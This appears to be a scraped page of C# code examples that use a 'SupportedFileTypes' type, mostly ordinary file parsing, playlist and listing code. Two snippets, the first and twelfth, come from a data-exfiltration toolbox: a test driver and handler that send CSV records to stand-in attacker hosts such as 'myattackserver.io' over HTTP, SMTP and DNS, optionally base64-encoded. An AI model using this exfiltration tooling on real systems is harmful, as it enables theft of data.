コード例 #1
0
ファイル: Driver.cs プロジェクト: cyberitech/DataExfilToolbox
        static void RunTests()
        {
            string testfile = "somefakerecs.csv";  // input csv, data must already be formatted to csv... well not reeally, but for testing is easy

            for (int i = 0; i < 1; i++)
            {
                SupportedFileTypes ftype = SupportedFileTypes.CSV;

                SupportedSenderMethods method1 = SupportedSenderMethods.GET;
                SupportedSenderMethods method2 = SupportedSenderMethods.POST;
                SupportedSenderMethods method3 = SupportedSenderMethods.OUTLOOK;
                SupportedSenderMethods method4 = SupportedSenderMethods.SMTP;
                SupportedSenderMethods method5 = SupportedSenderMethods.DNS;

                ExfiltrationHandler h1 = new ExfiltrationHandler(method1, ftype, testfile, "http://myattackserver.io:5000/receive.php");
                ExfiltrationHandler h2 = new ExfiltrationHandler(method2, ftype, testfile, "http://myattackserver.io:5000/receive.php");
/*TEST THIS ONE*///ExfiltrationHandler h = new ExfiltrationHandler(method3, ftype, testfile, "http://myattackserver.io:5000/receive.php");
                ExfiltrationHandler h3 = new ExfiltrationHandler(method4, ftype, testfile, "*****@*****.**", Options.SMTP_STARTTLS_HANDSHAKE);
                ExfiltrationHandler h4 = new ExfiltrationHandler(method5, ftype, testfile, "my.attack.server.ip");

                /* h1.SendExfilData(Options.NONE);
                 * h1.SendExfilData(Options.DATA_ENCODE_TO_B64);
                 * h2.SendExfilData(Options.NONE);
                 * h2.SendExfilData(Options.DATA_ENCODE_TO_B64);
                 * h3.SendExfilData(Options.NONE);
                 * h3.SendExfilData(Options.DATA_ENCODE_TO_B64);*/
                h4.SendExfilData(Options.NONE);
                h4.SendExfilData(Options.DATA_ENCODE_TO_B64);
            }
        }
コード例 #2
0
        public ResourceFile(string filename)
        {
            if (!File.Exists(filename))
            {
                throw new Exception("File not found or invalid filename specified");
            }
            FilePath = filename;
            Entries  = new List <ResourceFileEntry>();
            string parserType = SupportedFileTypes.ParserToUse(filename);

            switch (parserType)
            {
            case ".resx":
                ResXFile tempResX = new ResXFile(filename);
                foreach (ResourceFileEntry cfe in tempResX.Entries)
                {
                    Entries.Add(cfe);
                }
                break;

            case ".strings":
                AppleStringsFile tempAppleStringsFile = new AppleStringsFile(filename);
                foreach (ResourceFileEntry cfe in tempAppleStringsFile.Entries)
                {
                    Entries.Add(cfe);
                }
                break;

            default:
                throw new Exception("FileType not supported");
            }
        }
コード例 #3
0
        public void FileTypesTest()
        {
            Assert.IsTrue(SupportedFileTypes.MusicFileExtensions.Contains(".mp3"));
            Assert.IsTrue(SupportedFileTypes.PlaylistFileExtensions.Contains(".m3u"));

            AssertHelper.ExpectedException<NotSupportedException>(() => SupportedFileTypes.GetReadMetadata(".foo"));
            AssertHelper.ExpectedException<NotSupportedException>(() => SupportedFileTypes.GetSaveMetadata(".foo"));
        }
コード例 #4
0
 public MainWindow()
 {
     InitializeComponent();
     FileBox.AllowDrop = true;
     FileSupports      = new SupportedFileTypes();
     foreach (string available in FileSupports._FileTypes)
     {
         FILE_TYPE.Items.Add(available);
     }
     FILE_TYPE.SelectedItem = "all";
 }
コード例 #5
0
        public List <string> getFiles(SupportedFileTypes type)
        {
            var folderPath = Directory.GetCurrentDirectory() + "\\FileRepository\\";

            switch (type)
            {
            case SupportedFileTypes.PLAIN_TEXT:
                folderPath += "PlainText\\";
                break;

            case SupportedFileTypes.XML:
                folderPath += "XML\\";
                break;

            case SupportedFileTypes.JSON:
                folderPath += "JSON\\";
                break;

            case SupportedFileTypes.ENCRYPTED_TEXT:
                folderPath += "EncryptedText\\";
                break;

            case SupportedFileTypes.ENCRYPTED_XML:
                folderPath += "EncryptedXML\\";
                break;

            case SupportedFileTypes.ENCRYPTED_JSON:
                folderPath += "EncryptedJSON\\";
                break;

            default:
                throw new Exception("Unsupported File Type");
            }

            List <string> result = new List <string>();

            foreach (string file in Directory.EnumerateFiles(folderPath))
            {
                FileInfo fileInfo = new FileInfo(file);

                if (
                    ((type == SupportedFileTypes.PLAIN_TEXT || type == SupportedFileTypes.ENCRYPTED_TEXT) && fileInfo.Extension.ToLower() == ".txt") ||
                    ((type == SupportedFileTypes.XML || type == SupportedFileTypes.ENCRYPTED_XML) && fileInfo.Extension.ToLower() == ".xml") ||
                    ((type == SupportedFileTypes.JSON || type == SupportedFileTypes.ENCRYPTED_JSON) && fileInfo.Extension.ToLower() == ".json")
                    )
                {
                    result.Add(fileInfo.Name);
                }
            }

            return(result);
        }
コード例 #6
0
        public EncryptedJSONFile(SupportedFileTypes type, string fileName)
        {
            switch (type)
            {
            case SupportedFileTypes.ENCRYPTED_JSON:
                _filePath += "EncryptedJSON\\";
                break;

            default:
                throw new Exception("Unsupported File Type");
            }

            _filePath += fileName;
        }
コード例 #7
0
        public XMLFile(SupportedFileTypes type, string fileName)
        {
            switch (type)
            {
            case SupportedFileTypes.XML:
                _filePath += "XML\\";
                break;

            default:
                throw new Exception("Unsupported File Type");
            }

            _filePath += fileName;
        }
コード例 #8
0
        public TextFile(SupportedFileTypes type, string fileName)
        {
            switch (type)
            {
            case SupportedFileTypes.PLAIN_TEXT:
                _filePath += "PlainText\\";
                break;

            default:
                throw new Exception("Unsupported File Type");
            }

            _filePath += fileName;
        }
コード例 #9
0
        private static void Main(string[] args)
        {
            var path = args[0];
            ISupportedFileTypes            supportedFileTypes            = new SupportedFileTypes();
            IMultiThreading                multiThreading                = new MultiThreading();
            IFileListFromPath              fileListFromPath              = new FileListFromPath(multiThreading);
            ISupportedMediaFileTypesFilter supportedMediaFileTypesFilter = new SupportedMediaFileTypesFilter(supportedFileTypes);
            IPathToScan                pathToScan                = new PathToScan(path);
            IMediaFiles                mediaFiles                = new MediaFiles(supportedMediaFileTypesFilter, fileListFromPath, pathToScan);
            IWritePlayList             writePlayList             = new WritePlayList(mediaFiles, pathToScan);
            IExecutePlayListGeneration executePlayListGeneration = new ExecutePlayListGeneration(writePlayList);

            executePlayListGeneration.Run();
            Console.WriteLine("done");
            Console.ReadLine();
        }
コード例 #10
0
        /// <summary>
        /// Calls the correct parsing method based on the file name and type given
        /// </summary>
        /// <param name="fileName">The file to parse</param>
        /// <param name="fileType">The file type</param>
        /// <returns>Dictionary containing city|province as the key and the city info</returns>
        public Dictionary <string, CityInfo> ParseFile(string fileName, SupportedFileTypes fileType)
        {
            ParseHandler parseMethod = null;

            switch (fileType)
            {
            case SupportedFileTypes.JSON:
                parseMethod = ParseJSON;
                break;

            case SupportedFileTypes.XML:
                parseMethod = ParseXML;
                break;

            case SupportedFileTypes.CSV:
                parseMethod = ParseCSV;
                break;
            }

            parseMethod(fileName);
            return(ParsedCities);
        }
コード例 #11
0
ファイル: Main.cs プロジェクト: ernst2005/WDBXEditor
        private void Main_Load(object sender, EventArgs e)
        {
            //Create temp directory
            if (!Directory.Exists(TEMP_FOLDER))
            {
                Directory.CreateDirectory(TEMP_FOLDER);
            }

            //Check for Update
            CheckForUpdate();

            //Set open dialog filters
            openFileDialog.Filter = string.Join("|", SupportedFileTypes.Select(x => $"{x.Key} ({x.Value})|{x.Value}"));

            //Allow keyboard shortcuts
            Parallel.ForEach(this.Controls.Cast <Control>(), c => c.KeyDown += new KeyEventHandler(KeyDownEvent));

            //Init Find and Replace
            FormHandler.Init(advancedDataGridView);

            //Load definitions
            Task.Run(() => Database.LoadDefinitions())
            .ContinueWith(x => AutoRun(), TaskScheduler.FromCurrentSynchronizationContext());

            //Start FileWatcher
            Watcher();

            //Setup Single Instance Delegate
            InstanceManager.AutoRunAdded += delegate
            {
                this.Invoke((MethodInvoker) delegate
                {
                    InstanceManager.FlashWindow(this);
                    AutoRun();
                });
            };
        }
コード例 #12
0
        /// <summary>
        /// This is the public exposed class for the library.  Give it an exfil method, a file type, the file path, and where you want to target with exfil and it does the rest.
        /// </summary>
        /// <param name="exfilMethod"></param>
        /// <param name="target"></param>
        public ExfiltrationHandler(SupportedSenderMethods exfilMethod, SupportedFileTypes fileType, String filepath, String target, Options ops = Options.NONE)
        {
            if (String.IsNullOrEmpty(filepath) || String.IsNullOrWhiteSpace(filepath) ||
                String.IsNullOrEmpty(target) || String.IsNullOrWhiteSpace(target))
            {
                throw new ArgumentException();
            }
            fType                 = fileType;
            sendMethod            = exfilMethod;
            this.filepath         = filepath;
            this.exfilDestination = target;
            switch (exfilMethod)
            {
            //post and get both use a http client
            case SupportedSenderMethods.POST: SetMethodToHttpPost(ops); break;

            case SupportedSenderMethods.GET: SetMethodToHttpGet(ops); break;

            case SupportedSenderMethods.DNS: SetMethodToDnsQuery(ops); break;

            case SupportedSenderMethods.OUTLOOK: SetMethodToOutlook(ops); break;

            case SupportedSenderMethods.SMTP: SetMethodToSmtp(ops); break;

            default: throw new NotImplementedException("the requested exfil method has not been implemented within the ExfilHandler class");
            }

            switch (fileType)
            {
            case SupportedFileTypes.CSV: SetReaderToCSV(); break;

            case SupportedFileTypes.PSV: SetReaderToPSV(); break;

            case SupportedFileTypes.JSON: SetReaderToJSON(); break;
            }
        }
コード例 #13
0
        public static List <FileInfo> GetFilesByExtensions(DirectoryInfo dirInfo)
        {
            var supportedFileTypes = SupportedFileTypes.ListSupportedFileTypes();

            return(dirInfo.EnumerateFiles().Where(f => supportedFileTypes.Contains(f.Extension.ToLower())).ToList());
        }
コード例 #14
0
        public List <string> getAvailableEncryptedFiles(SupportedFileTypes fileType)
        {
            FileLister fileLister = new FileLister(_hostingEnvironment, _httpContextAccessor);

            return(fileLister.getFiles(ENCRYPTED_FILES));
        }
コード例 #15
0
        public List <string> getAvailableFiles(SupportedFileTypes fileType)
        {
            FileLister fileLister = new FileLister(_hostingEnvironment, _httpContextAccessor);

            return(fileLister.getFiles(FILE_TYPE));
        }
コード例 #16
0
        static void Main(string[] args)
        {
            CustomFormatConsoleTraceListener traceListener = new CustomFormatConsoleTraceListener();

            Trace.AutoFlush = true;
            Trace.Listeners.Add(traceListener);

            if (args.Length != 2)
            {
                Trace.TraceError("Usage is ResourceStaticAnalysisExecutor.exe <Rules Path directory> <Path to file to be scanned>");
                return;
            }

            string checksDirectory = args[0];

            if (Directory.Exists(checksDirectory))
            {
                if (
                    Directory.GetFiles(checksDirectory)
                    .Any(
                        fileName =>
                        Path.GetExtension(fileName).Equals(".dll", StringComparison.CurrentCultureIgnoreCase)) == false)
                {
                    Trace.TraceError("Cannot find dll with compiled rules");
                    return;
                }
            }
            else
            {
                Trace.TraceError("Cannot find the Rules Path directory");
                return;
            }

            string file = args[1];

            if (!File.Exists(file))
            {
                Trace.TraceError("Cannot find file to be scanned: {0}", file);
                return;
            }

            FileInfo fi = new FileInfo(file);
            string   outputDirectory = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ResourceStaticAnalysisOutput" + fi.DirectoryName.Remove(0, 2));
            string   outputFile      = Path.Combine(outputDirectory, fi.Name + ".xml");

            // Write configuration to Console
            Trace.TraceInformation("checksDirectory={0}", checksDirectory);
            Trace.TraceInformation("FileToBeScanned={0}", file);
            Trace.TraceInformation("OutputFile={0}", outputFile);

            try
            {
                if (!Directory.GetFiles(checksDirectory).Any(assembly => assembly.EndsWith(".dll") || assembly.EndsWith(".exe")))
                {
                    Trace.TraceError("Checks directory does not contain a rules assembly: {0}", checksDirectory);
                    return;
                }
            }
            catch (Exception ex)
            {
                Trace.TraceError("Failed to validate rules assemblies in {0}. Exception:{1}", checksDirectory, ex.ToString());
                return;
            }

            bool parserAvailable = !string.IsNullOrEmpty(SupportedFileTypes.ParserToUse(file));

            if (parserAvailable)
            {
                try
                {
                    ResourceStaticAnalysisApplication ResourceStaticAnalysisApplication = ResourceStaticAnalysisApplication.Instance;
                    List <Exception> exceptions = new List <Exception>();
                    ResourceStaticAnalysisApplication.Initialize(new List <string>()
                    {
                        checksDirectory
                    });
                    ResourceStaticAnalysisApplication.ConfigureOutput(outputFile);
                    ResourceStaticAnalysisApplication.Execute(file, true, out exceptions);
                    if (exceptions != null)
                    {
                        foreach (Exception ex in exceptions)
                        {
                            Trace.TraceError("{0}", ex.ToString());
                        }
                        return;
                    }
                }
                catch (Exception ex)
                {
                    Trace.TraceError("Exception implementing ResourceStaticAnalysisApplication", ex.ToString());
                    return;
                }
            }
            else
            {
                Trace.TraceError("Unsupported File Type");
            }
        }